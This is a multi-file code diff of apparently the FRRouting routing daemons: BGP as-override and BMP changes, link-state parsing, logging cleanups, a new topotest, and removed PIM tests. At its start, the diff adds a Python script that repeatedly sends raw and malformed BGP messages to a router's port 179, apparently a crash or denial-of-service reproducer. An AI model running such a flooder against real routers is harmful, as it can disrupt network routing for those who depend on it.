diff options
31 files changed, 3501 insertions, 2629 deletions
@@ -0,0 +1,22 @@ +import socket +from time import sleep + +bgp_open = b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00#\x01\x04\x00\x02\x00\x05\xac\x11\x00\x01\xff\xff\x00\x03\x00\x01\x00' +bgp_keepalive = b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x13\x04' +bgp_notification = b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x15\x04xv' + +while True: + try: + print("[+] Creating socket...") + s = socket.socket(type=socket.SOCK_STREAM) + print("[+] Connecting to server...") + s.connect(('172.17.0.3', 179)) + s.send(bgp_open) + sleep(0.0009999999) + s.send(bgp_keepalive) + s.send(bgp_notification) + except KeyboardInterrupt: + s.close() + break + except: + s.close() diff --git a/bgpd/bgp_aspath.c b/bgpd/bgp_aspath.c index 39886337f3..06f6073781 100644 --- a/bgpd/bgp_aspath.c +++ b/bgpd/bgp_aspath.c @@ -1209,28 +1209,6 @@ bool aspath_private_as_check(struct aspath *aspath) return true; } -/* Return True if the entire ASPATH consist of the specified ASN */ -bool aspath_single_asn_check(struct aspath *aspath, as_t asn) -{ - struct assegment *seg; - - if (!(aspath && aspath->segments)) - return false; - - seg = aspath->segments; - - while (seg) { - int i; - - for (i = 0; i < seg->length; i++) { - if (seg->as[i] != asn) - return false; - } - seg = seg->next; - } - return true; -} - /* Replace all instances of the target ASN with our own ASN */ struct aspath *aspath_replace_specific_asn(struct aspath *aspath, as_t target_asn, as_t our_asn) diff --git a/bgpd/bgp_aspath.h b/bgpd/bgp_aspath.h index 5caab73c4d..0b58e1adc4 100644 --- a/bgpd/bgp_aspath.h +++ b/bgpd/bgp_aspath.h @@ -112,7 +112,6 @@ extern unsigned int aspath_get_first_as(struct aspath *aspath); extern unsigned int aspath_get_last_as(struct aspath *aspath); extern int aspath_loop_check(struct aspath *aspath, as_t asno); extern bool aspath_private_as_check(struct aspath *aspath); -extern bool aspath_single_asn_check(struct aspath *aspath, as_t asn); extern struct aspath *aspath_replace_specific_asn(struct aspath *aspath, as_t target_asn, as_t our_asn); diff --git a/bgpd/bgp_bmp.c b/bgpd/bgp_bmp.c index ab557465f5..bcab4099c0 100644 --- a/bgpd/bgp_bmp.c +++ b/bgpd/bgp_bmp.c @@ -1183,11 +1183,13 @@ static bool bmp_wrqueue(struct bmp *bmp, struct pullwr *pullwr) if (!peer_established(peer)) goto out; - bn = bgp_node_lookup(bmp->targets->bgp->rib[afi][safi], &bqe->p); - struct prefix_rd *prd = NULL; - if ((bqe->afi == AFI_L2VPN && bqe->safi == SAFI_EVPN) || - (bqe->safi == SAFI_MPLS_VPN)) - prd = &bqe->rd; + bool is_vpn = (bqe->afi == AFI_L2VPN && bqe->safi == SAFI_EVPN) || + (bqe->safi == SAFI_MPLS_VPN); + + struct prefix_rd *prd = is_vpn ? &bqe->rd : NULL; + bn = bgp_afi_node_lookup(bmp->targets->bgp->rib[afi][safi], afi, safi, + &bqe->p, prd); + if (bmp->targets->afimon[afi][safi] & BMP_MON_POSTPOLICY) { struct bgp_path_info *bpi; diff --git a/bgpd/bgp_route.c b/bgpd/bgp_route.c index 26341a5ce3..2fd747a113 100644 --- a/bgpd/bgp_route.c +++ b/bgpd/bgp_route.c @@ -1773,12 +1773,10 @@ static void bgp_peer_remove_private_as(struct bgp *bgp, afi_t afi, safi_t safi, static void bgp_peer_as_override(struct bgp *bgp, afi_t afi, safi_t safi, struct peer *peer, struct attr *attr) { - if (peer->sort == BGP_PEER_EBGP - && peer_af_flag_check(peer, afi, safi, PEER_FLAG_AS_OVERRIDE)) { - if (aspath_single_asn_check(attr->aspath, peer->as)) - attr->aspath = aspath_replace_specific_asn( - attr->aspath, peer->as, bgp->as); - } + if (peer->sort == BGP_PEER_EBGP && + peer_af_flag_check(peer, afi, safi, PEER_FLAG_AS_OVERRIDE)) + attr->aspath = aspath_replace_specific_asn(attr->aspath, + peer->as, bgp->as); } void bgp_attr_add_llgr_community(struct attr *attr) diff --git a/bgpd/bgp_zebra.c b/bgpd/bgp_zebra.c index 2151d0a613..2f2784c3cc 100644 --- a/bgpd/bgp_zebra.c +++ b/bgpd/bgp_zebra.c @@ -1000,19 +1000,13 @@ static bool bgp_table_map_apply(struct route_map *map, const struct prefix *p, p, &path->attr->nexthop); } if (p->family == AF_INET6) { - char buf[2][INET6_ADDRSTRLEN]; ifindex_t ifindex; struct in6_addr *nexthop; nexthop = bgp_path_info_to_ipv6_nexthop(path, &ifindex); zlog_debug( - "Zebra rmap deny: IPv6 route %pFX nexthop %s", - p, - nexthop ? inet_ntop(AF_INET6, nexthop, buf[1], - sizeof(buf[1])) - : inet_ntop(AF_INET, - &path->attr->nexthop, - buf[1], sizeof(buf[1]))); + "Zebra rmap deny: IPv6 route %pFX nexthop %pI6", + p, nexthop); } } return false; diff --git a/lib/link_state.c b/lib/link_state.c index 639a1d37d8..0ef87b7a51 100644 --- a/lib/link_state.c +++ b/lib/link_state.c @@ -1357,7 +1357,6 @@ struct ls_message *ls_parse_msg(struct stream *s) /* Read LS Message header */ STREAM_GETC(s, msg->event); STREAM_GETC(s, msg->type); - STREAM_GET(&msg->remote_id, s, sizeof(struct ls_node_id)); /* Read Message Payload */ switch (msg->type) { @@ -1365,6 +1364,7 @@ struct ls_message *ls_parse_msg(struct stream *s) msg->data.node = ls_parse_node(s); break; case LS_MSG_TYPE_ATTRIBUTES: + STREAM_GET(&msg->remote_id, s, sizeof(struct ls_node_id)); msg->data.attr = ls_parse_attributes(s); break; case LS_MSG_TYPE_PREFIX: @@ -1563,13 +1563,14 @@ static int ls_format_msg(struct stream *s, struct ls_message *msg) /* Prepare Link State header */ stream_putc(s, msg->event); stream_putc(s, msg->type); - stream_put(s, &msg->remote_id, sizeof(struct ls_node_id)); /* Add Message Payload */ switch (msg->type) { case LS_MSG_TYPE_NODE: return ls_format_node(s, msg->data.node); case LS_MSG_TYPE_ATTRIBUTES: + /* Add remote node first */ + stream_put(s, &msg->remote_id, sizeof(struct ls_node_id)); return ls_format_attributes(s, msg->data.attr); case LS_MSG_TYPE_PREFIX: return ls_format_prefix(s, msg->data.prefix); @@ -1625,7 +1626,6 @@ int ls_send_msg(struct zclient *zclient, struct ls_message *msg, return zclient_send_message(zclient); } - struct ls_message *ls_vertex2msg(struct ls_message *msg, struct ls_vertex *vertex) { diff --git a/lib/link_state.h b/lib/link_state.h index f46a2068a1..ed315452da 100644 --- a/lib/link_state.h +++ b/lib/link_state.h @@ -91,7 +91,7 @@ struct ls_node_id { uint8_t level; /* ISIS Level */ uint8_t padding; } iso; - } id __attribute__((aligned(8))); + } id; }; /** diff --git a/lib/sockopt.c b/lib/sockopt.c index 45f3c23330..7a2b8a1c83 100644 --- a/lib/sockopt.c +++ b/lib/sockopt.c @@ -268,12 +268,9 @@ int setsockopt_ipv4_multicast(int sock, int optname, struct in_addr if_addr, && (errno == EADDRINUSE)) { /* see above: handle possible problem when interface comes back * up */ - char buf[1][INET_ADDRSTRLEN]; zlog_info( - "setsockopt_ipv4_multicast attempting to drop and re-add (fd %d, mcast %s, ifindex %u)", - sock, inet_ntop(AF_INET, &mreqn.imr_multiaddr, buf[0], - sizeof(buf[0])), - ifindex); + "setsockopt_ipv4_multicast attempting to drop and re-add (fd %d, mcast %pI4, ifindex %u)", + sock, &mreqn.imr_multiaddr, ifindex); setsockopt(sock, IPPROTO_IP, IP_DROP_MEMBERSHIP, (void *)&mreqn, sizeof(mreqn)); ret = setsockopt(sock, IPPROTO_IP, IP_ADD_MEMBERSHIP, @@ -309,12 +306,9 @@ int setsockopt_ipv4_multicast(int sock, int optname, struct in_addr if_addr, && (errno == EADDRINUSE)) { /* see above: handle possible problem when interface comes back * up */ - char buf[1][INET_ADDRSTRLEN]; zlog_info( - "setsockopt_ipv4_multicast attempting to drop and re-add (fd %d, mcast %s, ifindex %u)", - sock, inet_ntop(AF_INET, &mreq.imr_multiaddr, buf[0], - sizeof(buf[0])), - ifindex); + "setsockopt_ipv4_multicast attempting to drop and re-add (fd %d, mcast %pI4, ifindex %u)", + sock, &mreq.imr_multiaddr, ifindex); setsockopt(sock, IPPROTO_IP, IP_DROP_MEMBERSHIP, (void *)&mreq, sizeof(mreq)); ret = setsockopt(sock, IPPROTO_IP, IP_ADD_MEMBERSHIP, diff --git a/lib/subdir.am b/lib/subdir.am index b0c311e7f2..d6defd7149 100644 --- a/lib/subdir.am +++ b/lib/subdir.am @@ -469,11 +469,7 @@ am__v_XRELFO_ = $(am__v_XRELFO_$(AM_DEFAULT_VERBOSITY)) am__v_XRELFO_0 = @echo " XRELFO " $@; am__v_XRELFO_1 = -if DEV_BUILD XRELFO_FLAGS = -Wlog-format -Wlog-args -else -XRELFO_FLAGS = -endif SUFFIXES += .xref %.xref: % $(CLIPPY) diff --git a/lib/yang_wrappers.c b/lib/yang_wrappers.c index bee76c6e0f..ea21d1324b 100644 --- a/lib/yang_wrappers.c +++ b/lib/yang_wrappers.c @@ -715,7 +715,7 @@ size_t yang_dnode_get_binary_buf(char *buf, size_t size, canon = YANG_DNODE_XPATH_GET_CANON(dnode, xpath_fmt); cannon_len = strlen(canon); - decode_len = cannon_len; + decode_len = cannon_len + 1; value_str = (char *)malloc(decode_len); base64_init_decodestate(&s); cnt = base64_decode_block(canon, cannon_len, value_str, &s); diff --git a/ospf6d/ospf6_intra.c b/ospf6d/ospf6_intra.c index b5ea3ada36..52bb745d74 100644 --- a/ospf6d/ospf6_intra.c +++ b/ospf6d/ospf6_intra.c @@ -1765,10 +1765,8 @@ void ospf6_intra_prefix_lsa_add(struct ospf6_lsa *lsa) intra_prefix_lsa = (struct ospf6_intra_prefix_lsa *)OSPF6_LSA_HEADER_END( lsa->header); - if (intra_prefix_lsa->ref_type == htons(OSPF6_LSTYPE_ROUTER)) - ospf6_linkstate_prefix(intra_prefix_lsa->ref_adv_router, - intra_prefix_lsa->ref_id, &ls_prefix); - else if (intra_prefix_lsa->ref_type == htons(OSPF6_LSTYPE_NETWORK)) + if (intra_prefix_lsa->ref_type == htons(OSPF6_LSTYPE_ROUTER) || + intra_prefix_lsa->ref_type == htons(OSPF6_LSTYPE_NETWORK)) ospf6_linkstate_prefix(intra_prefix_lsa->ref_adv_router, intra_prefix_lsa->ref_id, &ls_prefix); else { diff --git a/ospfd/ospf_abr.c b/ospfd/ospf_abr.c index 7aa3a27c60..13243a55af 100644 --- a/ospfd/ospf_abr.c +++ b/ospfd/ospf_abr.c @@ -350,7 +350,6 @@ static int ospf_abr_nssa_am_elected(struct ospf_area *area) struct ospf_lsa *lsa; struct router_lsa *rlsa; struct in_addr *best = NULL; - char buf[PREFIX_STRLEN]; LSDB_LOOP (ROUTER_LSDB(area), rn, lsa) { /* sanity checks */ @@ -382,9 +381,8 @@ static int ospf_abr_nssa_am_elected(struct ospf_area *area) if (IS_DEBUG_OSPF_NSSA) zlog_debug( - "ospf_abr_nssa_am_elected: best electable ABR is: %s", - (best) ? inet_ntop(AF_INET, best, buf, sizeof(buf)) : - "<none>"); + "ospf_abr_nssa_am_elected: best electable ABR is: %pI4", + best); if (best == NULL) return 1; diff --git a/ospfd/ospf_flood.c b/ospfd/ospf_flood.c index 8f9153d766..848f340750 100644 --- a/ospfd/ospf_flood.c +++ b/ospfd/ospf_flood.c @@ -454,16 +454,13 @@ int ospf_flood_through_interface(struct ospf_interface *oi, struct ospf_neighbor *onbr; struct route_node *rn; int retx_flag; - char buf[PREFIX_STRLEN]; if (IS_DEBUG_OSPF_EVENT) zlog_debug( - "%s: considering int %s (%s), INBR(%s), LSA[%s] AGE %u", + "%s: considering int %s (%s), INBR(%pI4), LSA[%s] AGE %u", __func__, IF_NAME(oi), ospf_get_name(oi->ospf), - inbr ? inet_ntop(AF_INET, &inbr->router_id, buf, - sizeof(buf)) - : "NULL", - dump_lsa_key(lsa), ntohs(lsa->data->ls_age)); + inbr ? &inbr->router_id : NULL, dump_lsa_key(lsa), + ntohs(lsa->data->ls_age)); if (!ospf_if_is_enable(oi)) return 0; diff --git a/pimd/pim_iface.c b/pimd/pim_iface.c index 20a5a2f528..0fb5e8c6d9 100644 --- a/pimd/pim_iface.c +++ b/pimd/pim_iface.c @@ -801,22 +801,13 @@ void pim_if_addr_add_all(struct interface *ifp) pim_if_addr_add(ifc); } - if (!v4_addrs && v6_addrs && !if_is_loopback(ifp)) { - if (pim_ifp->pim_enable) { - - /* Interface has a valid primary address ? */ - if (!pim_addr_is_any(pim_ifp->primary_address)) { - - /* Interface has a valid socket ? */ - if (pim_ifp->pim_sock_fd < 0) { - if (pim_sock_add(ifp)) { - zlog_warn( - "Failure creating PIM socket for interface %s", - ifp->name); - } - } - } - } /* pim */ + if (!v4_addrs && v6_addrs && !if_is_loopback(ifp) && + pim_ifp->pim_enable && !pim_addr_is_any(pim_ifp->primary_address) && + pim_ifp->pim_sock_fd < 0 && pim_sock_add(ifp)) { + /* Interface has a valid primary address ? */ + /* Interface has a valid socket ? */ + zlog_warn("Failure creating PIM socket for interface %s", + ifp->name); } /* * PIM or IGMP is enabled on interface, and there is at least one @@ -121,11 +121,13 @@ static inline int qpb__l3_prefix__get(const Qpb__L3Prefix *pb_prefix, switch (family) { case AF_INET: - memset(prefix, 0, sizeof(struct prefix_ipv4)); + memset((struct prefix_ipv4 *)prefix, 0, + sizeof(struct prefix_ipv4)); break; case AF_INET6: - memset(prefix, 0, sizeof(struct prefix_ipv6)); + memset((struct prefix_ipv6 *)prefix, 0, + sizeof(struct prefix_ipv6)); break; default: diff --git a/tests/topotests/bgp_as_override/__init__.py b/tests/topotests/bgp_as_override/__init__.py new file mode 100644 index 0000000000..e69de29bb2 --- /dev/null +++ b/tests/topotests/bgp_as_override/__init__.py diff --git a/tests/topotests/bgp_as_override/r1/bgpd.conf b/tests/topotests/bgp_as_override/r1/bgpd.conf new file mode 100644 index 0000000000..3cfb7a2c90 --- /dev/null +++ b/tests/topotests/bgp_as_override/r1/bgpd.conf @@ -0,0 +1,10 @@ +! +router bgp 65001 + no bgp ebgp-requires-policy + neighbor 192.168.1.1 remote-as external + neighbor 192.168.1.1 timers 1 3 + neighbor 192.168.1.1 timers connect 1 + address-family ipv4 + redistribute connected + exit-address-family +! diff --git a/tests/topotests/bgp_as_override/r1/zebra.conf b/tests/topotests/bgp_as_override/r1/zebra.conf new file mode 100644 index 0000000000..63728eb5d5 --- /dev/null +++ b/tests/topotests/bgp_as_override/r1/zebra.conf @@ -0,0 +1,9 @@ +! +interface lo + ip address 172.16.255.1/32 +! +interface r1-eth0 + ip address 192.168.1.2/30 +! +ip forwarding +! diff --git a/tests/topotests/bgp_as_override/r2/bgpd.conf b/tests/topotests/bgp_as_override/r2/bgpd.conf new file mode 100644 index 0000000000..5e3b0c7f87 --- /dev/null +++ b/tests/topotests/bgp_as_override/r2/bgpd.conf @@ -0,0 +1,10 @@ +! +router bgp 65002 + no bgp ebgp-requires-policy + neighbor 192.168.1.2 remote-as external + neighbor 192.168.1.2 timers 1 3 + neighbor 192.168.1.2 timers connect 1 + neighbor 192.168.2.2 remote-as external + neighbor 192.168.2.2 timers 1 3 + neighbor 192.168.2.2 timers connect 1 +! diff --git a/tests/topotests/bgp_as_override/r2/zebra.conf b/tests/topotests/bgp_as_override/r2/zebra.conf new file mode 100644 index 0000000000..5bdfd02224 --- /dev/null +++ b/tests/topotests/bgp_as_override/r2/zebra.conf @@ -0,0 +1,9 @@ +! +interface r2-eth0 + ip address 192.168.1.1/30 +! +interface r2-eth1 + ip address 192.168.2.1/30 +! +ip forwarding +! diff --git a/tests/topotests/bgp_as_override/r3/bgpd.conf b/tests/topotests/bgp_as_override/r3/bgpd.conf new file mode 100644 index 0000000000..6bbe56b678 --- /dev/null +++ b/tests/topotests/bgp_as_override/r3/bgpd.conf @@ -0,0 +1,13 @@ +! +router bgp 65003 + no bgp ebgp-requires-policy + neighbor 192.168.2.1 remote-as external + neighbor 192.168.2.1 timers 1 3 + neighbor 192.168.2.1 timers connect 1 + neighbor 192.168.3.1 remote-as external + neighbor 192.168.3.1 timers 1 3 + neighbor 192.168.3.1 timers connect 1 + address-family ipv4 unicast + neighbor 192.168.3.1 as-override + exit-address-family +! diff --git a/tests/topotests/bgp_as_override/r3/zebra.conf b/tests/topotests/bgp_as_override/r3/zebra.conf new file mode 100644 index 0000000000..77782be3a8 --- /dev/null +++ b/tests/topotests/bgp_as_override/r3/zebra.conf @@ -0,0 +1,9 @@ +! +interface r3-eth0 + ip address 192.168.2.2/30 +! +interface r3-eth1 + ip address 192.168.3.2/30 +! +ip forwarding +! diff --git a/tests/topotests/bgp_as_override/r4/bgpd.conf b/tests/topotests/bgp_as_override/r4/bgpd.conf new file mode 100644 index 0000000000..1bdee0800a --- /dev/null +++ b/tests/topotests/bgp_as_override/r4/bgpd.conf @@ -0,0 +1,7 @@ +! +router bgp 65001 + no bgp ebgp-requires-policy + neighbor 192.168.3.2 remote-as external + neighbor 192.168.3.2 timers 1 3 + neighbor 192.168.3.2 timers connect 1 +! diff --git a/tests/topotests/bgp_as_override/r4/zebra.conf b/tests/topotests/bgp_as_override/r4/zebra.conf new file mode 100644 index 0000000000..71dc595558 --- /dev/null +++ b/tests/topotests/bgp_as_override/r4/zebra.conf @@ -0,0 +1,6 @@ +! +interface r4-eth0 + ip address 192.168.3.1/30 +! +ip forwarding +! diff --git a/tests/topotests/bgp_as_override/test_bgp_as_override.py b/tests/topotests/bgp_as_override/test_bgp_as_override.py new file mode 100644 index 0000000000..40085cd7ec --- /dev/null +++ b/tests/topotests/bgp_as_override/test_bgp_as_override.py @@ -0,0 +1,122 @@ +#!/usr/bin/env python + +# +# Copyright (c) 2022 by +# Donatas Abraitis <donatas@opensourcerouting.org> +# +# Permission to use, copy, modify, and/or distribute this software +# for any purpose with or without fee is hereby granted, provided +# that the above copyright notice and this permission notice appear +# in all copies. +# +# THE SOFTWARE IS PROVIDED "AS IS" AND NETDEF DISCLAIMS ALL WARRANTIES +# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF +# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NETDEF BE LIABLE FOR +# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY +# DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, +# WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS +# ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE +# OF THIS SOFTWARE. +# + +""" +""" + +import os +import sys +import json +import pytest +import functools + +CWD = os.path.dirname(os.path.realpath(__file__)) +sys.path.append(os.path.join(CWD, "../")) + +# pylint: disable=C0413 +from lib import topotest +from lib.topogen import Topogen, TopoRouter, get_topogen +from lib.common_config import step + +pytestmark = [pytest.mark.bgpd] + + +def build_topo(tgen): + for routern in range(1, 7): + tgen.add_router("r{}".format(routern)) + + switch = tgen.add_switch("s1") + switch.add_link(tgen.gears["r1"]) + switch.add_link(tgen.gears["r2"]) + + switch = tgen.add_switch("s2") + switch.add_link(tgen.gears["r2"]) + switch.add_link(tgen.gears["r3"]) + + switch = tgen.add_switch("s3") + switch.add_link(tgen.gears["r3"]) + switch.add_link(tgen.gears["r4"]) + + +def setup_module(mod): + tgen = Topogen(build_topo, mod.__name__) + tgen.start_topology() + + router_list = tgen.routers() + + for i, (rname, router) in enumerate(router_list.items(), 1): + router.load_config( + TopoRouter.RD_ZEBRA, os.path.join(CWD, "{}/zebra.conf".format(rname)) + ) + router.load_config( + TopoRouter.RD_BGP, os.path.join(CWD, "{}/bgpd.conf".format(rname)) + ) + + tgen.start_router() + + +def teardown_module(mod): + tgen = get_topogen() + tgen.stop_topology() + + +def test_bgp_as_override(): + tgen = get_topogen() + + if tgen.routers_have_failure(): + pytest.skip(tgen.errors) + + r3 = tgen.gears["r3"] + r4 = tgen.gears["r4"] + + def _bgp_converge(): + output = json.loads(r3.vtysh_cmd("show ip bgp neighbor 192.168.2.1 json")) + expected = { + "192.168.2.1": { + "bgpState": "Established", + "addressFamilyInfo": {"ipv4Unicast": {"acceptedPrefixCounter": 2}}, + } + } + return topotest.json_cmp(output, expected) + + def _bgp_as_override(): + output = json.loads(r4.vtysh_cmd("show bgp ipv4 unicast json")) + expected = { + "routes": { + "172.16.255.1/32": [{"valid": True, "path": "65003 65002 65003"}] + } + } + return topotest.json_cmp(output, expected) + + step("Initial BGP converge") + test_func = functools.partial(_bgp_converge) + _, result = topotest.run_and_expect(test_func, None, count=60, wait=0.5) + assert result is None, "Failed to see BGP convergence on R4" + + step("Check if BGP as-override from R3 works") + test_func = functools.partial(_bgp_as_override) + _, result = topotest.run_and_expect(test_func, None, count=60, wait=0.5) + assert result is None, "Failed to see overriden ASN (65001) from R3" + + +if __name__ == "__main__": + args = ["-s"] + sys.argv[1:] + sys.exit(pytest.main(args)) diff --git a/tests/topotests/multicast_pim_static_rp_topo1/test_multicast_pim_static_rp.py b/tests/topotests/multicast_pim_static_rp_topo1/test_multicast_pim_static_rp.py index eafad06e96..2a9fe32b08 100755 --- a/tests/topotests/multicast_pim_static_rp_topo1/test_multicast_pim_static_rp.py +++ b/tests/topotests/multicast_pim_static_rp_topo1/test_multicast_pim_static_rp.py @@ -1391,2531 +1391,6 @@ def test_send_join_on_higher_preffered_rp_p1(request): write_test_footer(tc_name) -def test_RP_configured_as_LHR_1_p1(request): - """ - TC_21_1_P1: Verify OIF and RPF for (*,G) and (S,G) when static RP configure - in LHR router - - Topology used: - ________r2_____ - | | - iperf | | iperf - r0-----r1-------------r3-----r5 - - r1 : LHR/RP - r3 : FHR - """ - - tgen = get_topogen() - tc_name = request.node.name - write_test_header(tc_name) - - # Don"t run this test if we have any failure. - if tgen.routers_have_failure(): - pytest.skip(tgen.errors) - - step("Creating configuration from JSON") - reset_config_on_routers(tgen) - app_helper.stop_all_hosts() - clear_mroute(tgen) - clear_pim_interface_traffic(tgen, TOPO) - - step("Enable IGMP on r1 interface") - step("Configure RP on r1 (loopback interface) for the group range" " 224.0.0.0/4") - step("Enable the PIM on all the interfaces of r1, r2, r3 and r4 routers") - step("Send the IGMP join from r0") - step("Send multicast traffic from r5") - - step("r1 , r2, r3, r4: Delete existing RP configuration" "configure r1(LHR) as RP") - input_dict = { - "r1": { - "pim": { - "rp": [ - { - "rp_addr": "1.0.2.17", - "group_addr_range": GROUP_RANGE_ALL, - "delete": True, - } - ] - } - }, - "r2": { - "pim": { - "rp": [ - { - "rp_addr": "1.0.2.17", - "group_addr_range": GROUP_RANGE_ALL, - "delete": True, - } - ] - } - }, - "r3": { - "pim": { - "rp": [ - { - "rp_addr": "1.0.2.17", - "group_addr_range": GROUP_RANGE_ALL, - "delete": True, - } - ] - } - }, - "r4": { - "pim": { - "rp": [ - { - "rp_addr": "1.0.2.17", - "group_addr_range": GROUP_RANGE_ALL, - "delete": True, - } - ] - } - }, - } - - result = create_pim_config(tgen, TOPO, input_dict) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r1: Configure r1(LHR) as RP") - input_dict = { - "r1": { - "pim": { - "rp": [ - { - "rp_addr": "1.0.1.17", - "group_addr_range": GROUP_RANGE_ALL, - } - ] - } - }, - "r2": { - "pim": { - "rp": [ - { - "rp_addr": "1.0.1.17", - "group_addr_range": GROUP_RANGE_ALL, - } - ] - } - }, - "r3": { - "pim": { - "rp": [ - { - "rp_addr": "1.0.1.17", - "group_addr_range": GROUP_RANGE_ALL, - } - ] - } - }, - "r4": { - "pim": { - "rp": [ - { - "rp_addr": "1.0.1.17", - "group_addr_range": GROUP_RANGE_ALL, - } - ] - } - }, - } - - result = create_pim_config(tgen, TOPO, input_dict) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - shutdown_bringup_interface(tgen, "r1", "lo", False) - sleep(5) - shutdown_bringup_interface(tgen, "r1", "lo", True) - sleep(5) - - step("r1: Verify RP info") - dut = "r1" - rp_address = "1.0.1.17" - iif = "lo" - result = verify_pim_rp_info( - tgen, TOPO, dut, GROUP_RANGE_ALL, iif, rp_address, SOURCE - ) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r0: Send IGMP join") - result = app_helper.run_join("r0", GROUP_ADDRESS, "r1") - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r1: Verify IGMP groups") - oif = "r1-r0-eth0" - result = verify_igmp_groups(tgen, dut, oif, GROUP_ADDRESS) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r5: Send multicast traffic for group 225.1.1.1") - result = app_helper.run_traffic("r5", GROUP_ADDRESS, "r3") - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r1: Verify (*, G) upstream IIF interface") - result = verify_upstream_iif(tgen, dut, iif, STAR, GROUP_ADDRESS) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r1: Verify (*, G) upstream join state and join timer") - result = verify_join_state_and_timer(tgen, dut, iif, STAR, GROUP_ADDRESS) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r1: Verify (*, G) ip mroutes") - result = verify_mroutes(tgen, dut, STAR, GROUP_ADDRESS, iif, oif) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r1: Verify (S, G) upstream IIF interface") - iif = "r1-r3-eth2" - result = verify_upstream_iif(tgen, dut, iif, SOURCE_ADDRESS, GROUP_ADDRESS) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r1: Verify (S, G) upstream join state and join timer") - result = verify_join_state_and_timer(tgen, dut, iif, SOURCE_ADDRESS, GROUP_ADDRESS) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r1: Verify (S, G) ip mroutes") - result = verify_mroutes(tgen, dut, SOURCE_ADDRESS, GROUP_ADDRESS, iif, oif) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r3: Verify (S, G) upstream IIF interface") - dut = "r3" - iif = "r3-r5-eth3" - result = verify_upstream_iif(tgen, dut, iif, SOURCE_ADDRESS, GROUP_ADDRESS) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r3: Verify (S, G) upstream join state and join timer") - result = verify_join_state_and_timer( - tgen, dut, iif, SOURCE_ADDRESS, GROUP_ADDRESS, expected=False - ) - assert result is not True, ( - "Testcase {} : Failed \n " - "r3: (S, G) upstream join state is joined and join" - " timer is running \n Error: {}".format(tc_name, result) - ) - - step("r3: Verify (S, G) ip mroutes") - oif = "r3-r1-eth0" - result = verify_mroutes(tgen, dut, SOURCE_ADDRESS, GROUP_ADDRESS, iif, oif) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - # Uncomment next line for debugging - # tgen.mininet_cli() - - write_test_footer(tc_name) - - -def test_RP_configured_as_LHR_2_p1(request): - """ - TC_21_2_P1: Verify OIF and RPF for (*,G) and (S,G) when static RP configure - in LHR router - - Topology used: - ________r2_____ - | | - iperf | | iperf - r0-----r1-------------r3-----r5 - - r1 : LHR/RP - r3 : FHR - - """ - tgen = get_topogen() - tc_name = request.node.name - write_test_header(tc_name) - - # Don"t run this test if we have any failure. - if tgen.routers_have_failure(): - pytest.skip(tgen.errors) - - step("Creating configuration from JSON") - reset_config_on_routers(tgen) - app_helper.stop_all_hosts() - clear_mroute(tgen) - clear_pim_interface_traffic(tgen, TOPO) - - step("Enable IGMP on r1 interface") - step("Configure RP on r1 (loopback interface) for the group range" " 224.0.0.0/4") - step("Enable the PIM on all the interfaces of r1, r2, r3 and r4 routers") - step("Send multicast traffic from r5") - step("Send the IGMP join from r0") - - step("r1, r2, r3, r4: Delete existing RP configuration," "configure r1(LHR) as RP") - input_dict = { - "r1": { - "pim": { - "rp": [ - { - "rp_addr": "1.0.2.17", - "group_addr_range": GROUP_RANGE_ALL, - "delete": True, - } - ] - } - }, - "r2": { - "pim": { - "rp": [ - { - "rp_addr": "1.0.2.17", - "group_addr_range": GROUP_RANGE_ALL, - "delete": True, - } - ] - } - }, - "r3": { - "pim": { - "rp": [ - { - "rp_addr": "1.0.2.17", - "group_addr_range": GROUP_RANGE_ALL, - "delete": True, - } - ] - } - }, - "r4": { - "pim": { - "rp": [ - { - "rp_addr": "1.0.2.17", - "group_addr_range": GROUP_RANGE_ALL, - "delete": True, - } - ] - } - }, - } - - result = create_pim_config(tgen, TOPO, input_dict) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r1, r2, r3, r4: Configure r1(LHR) as RP") - input_dict = { - "r1": { - "pim": { - "rp": [ - { - "rp_addr": "1.0.1.17", - "group_addr_range": GROUP_RANGE_ALL, - } - ] - } - }, - "r2": { - "pim": { - "rp": [ - { - "rp_addr": "1.0.1.17", - "group_addr_range": GROUP_RANGE_ALL, - } - ] - } - }, - "r3": { - "pim": { - "rp": [ - { - "rp_addr": "1.0.1.17", - "group_addr_range": GROUP_RANGE_ALL, - } - ] - } - }, - "r4": { - "pim": { - "rp": [ - { - "rp_addr": "1.0.1.17", - "group_addr_range": GROUP_RANGE_ALL, - } - ] - } - }, - } - - result = create_pim_config(tgen, TOPO, input_dict) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r1: Verify RP info") - dut = "r1" - rp_address = "1.0.1.17" - iif = "lo" - result = verify_pim_rp_info(tgen, TOPO, dut, GROUP_ADDRESS, iif, rp_address, SOURCE) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - 